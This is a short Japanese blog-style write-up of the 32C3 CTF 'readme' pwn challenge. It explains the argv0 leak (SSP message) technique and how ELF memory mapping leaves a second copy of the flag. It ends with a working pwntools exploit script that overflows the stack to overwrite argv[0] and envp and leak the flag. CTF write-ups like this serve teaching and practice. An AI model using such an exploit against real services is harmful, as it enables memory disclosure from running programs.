32C3 CTF 「readme」を解いた
argv0 leakというものを使う問題。
katagaitai勉強会 #4の資料が詳しい。
自前の環境ではExploitが動かなかった。その原因を探すので3日ぐらい溶かしたので問題自体のwrite-upを書く気が失せている。まあいいか(低学年高専生の発想)。
argv0 leak と glibc の対策 別にまとめた。
ここも参考にした。
32C3 CTF readme - ちょっとずつ成長日記
argv0 leakはSSP(Canary)が有効でないと使えない。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : ENABLED NX : ENABLED PIE : disabled RELRO : disabled
0x600d20
(.data
内)にFLAGが格納されているが、あとからの入力で書き換えられてしまう。
しかし、.data
セクションの中身はマッピングされたものであるため0x400d20
にも同じ文字列が入っている。
マッピングについてはELF実行ファイルのメモリ配置はどのように決まるのか - ももいろテクノロジーにくわしく書いてある。
リンカスクリプトを見ると、read-onlyセクションがtextセクションとして0x400000から配置されていることがわかる。 また、データセグメントは次のメモリページとなるように調整されていることがわかる。
Exploit
from pwn import * context(os='linux', arch='amd64') c = process('./readme.bin') #remote('localhost', 62000) c.recv() raw_input() payload = "A" * 0x210 payload += p64(1) payload += p64(0x400d20) # flag copied by ld payload += p64(0) payload += p64(0x600d20) # envp[0] payload += "\n" c.send(payload) c.send("LIBC_FATAL_STDERR_=yoooo\n") print(c.recv()) # => *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated